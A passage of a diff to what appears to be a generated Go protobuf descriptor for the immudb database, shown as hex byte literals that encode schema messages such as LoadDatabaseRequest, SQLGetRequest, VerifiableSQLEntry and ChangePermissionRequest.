0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, - 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, - 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, - 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, - 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, - 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, - 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, - 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, - 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, - 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, - 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, - 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, - 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, - 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, - 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, - 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, - 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, - 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, - 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, - 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, - 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, - 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, - 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, - 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, - 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, - 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, - 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, - 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, - 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, - 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, - 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, - 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, - 